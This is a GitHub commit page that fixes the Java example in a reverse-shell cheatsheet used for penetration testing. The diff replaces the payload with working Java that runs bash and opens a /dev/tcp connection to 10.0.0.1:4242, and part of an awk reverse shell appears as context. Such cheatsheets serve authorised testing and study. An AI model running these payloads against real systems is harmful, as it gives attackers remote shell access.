Skip to content

Commit

Permalink
Merge pull request swisskyrepo#341 from cosmin-bianu/master
Browse files Browse the repository at this point in the history
Fix Java payload (issue #337)
  • Loading branch information
swisskyrepo authored Mar 12, 2021
2 parents d61f683 + 13d54a5 commit 22a1662
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions Methodology and Resources/Reverse Shell Cheatsheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -209,9 +209,9 @@ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |&
### Java

```java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();

```

Expand Down

0 comments on commit 22a1662

Please sign in to comment.